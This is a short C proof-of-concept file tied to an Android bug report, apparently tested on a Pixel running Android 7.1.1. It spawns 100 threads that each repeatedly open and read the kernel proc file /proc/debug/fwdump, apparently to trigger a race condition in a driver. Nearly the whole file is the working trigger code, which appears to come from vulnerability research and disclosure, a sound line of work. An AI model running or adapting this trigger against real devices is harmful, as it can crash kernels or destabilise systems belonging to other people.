/*
 * https://code.google.com/p/android/issues/detail?id=232250
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1.1/NMF26U/3562008:user/release-keys
 * chengjia4574@gmail.com, 20170116
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif

//char *infopath = "/proc/debugdriver/driverdump";
char *infopath = "/proc/debug/fwdump";
int test_read(int fd)
{
#define SIZE 1024 
        int ret;
        char buf[SIZE] = {1};
        ret = read(fd, buf, SIZE);
        if(ret<0) {
                printf("read fail %s\n",strerror(errno));
        } else printf("succ read %d byte\n",ret);
        return 0;
}

void ThreadFun(void) {
	int fd = -1;
	size_t count = 1000;
	while(count-- > 0) { 
		fd = open(infopath, O_RDWR);
		if(fd > 0) {
			test_read(fd);
			close(fd);
			fd = -1;
		}  else printf("open fail %s\n",strerror(errno));
	}
}

#define TC 100
void trigger()
{
	int i, ret;
	pthread_t tids[TC];
	for(i = 0; i < TC; i++)
	{
		ret = pthread_create((pthread_t *) &tids[i], NULL, (void *) ThreadFun, NULL);
	}
	
	for(i = 0; i < TC; i++)
		pthread_join(tids[i], NULL);
}

	int
main(int argc, char *argv[])
{
	trigger();
	return 0;
}
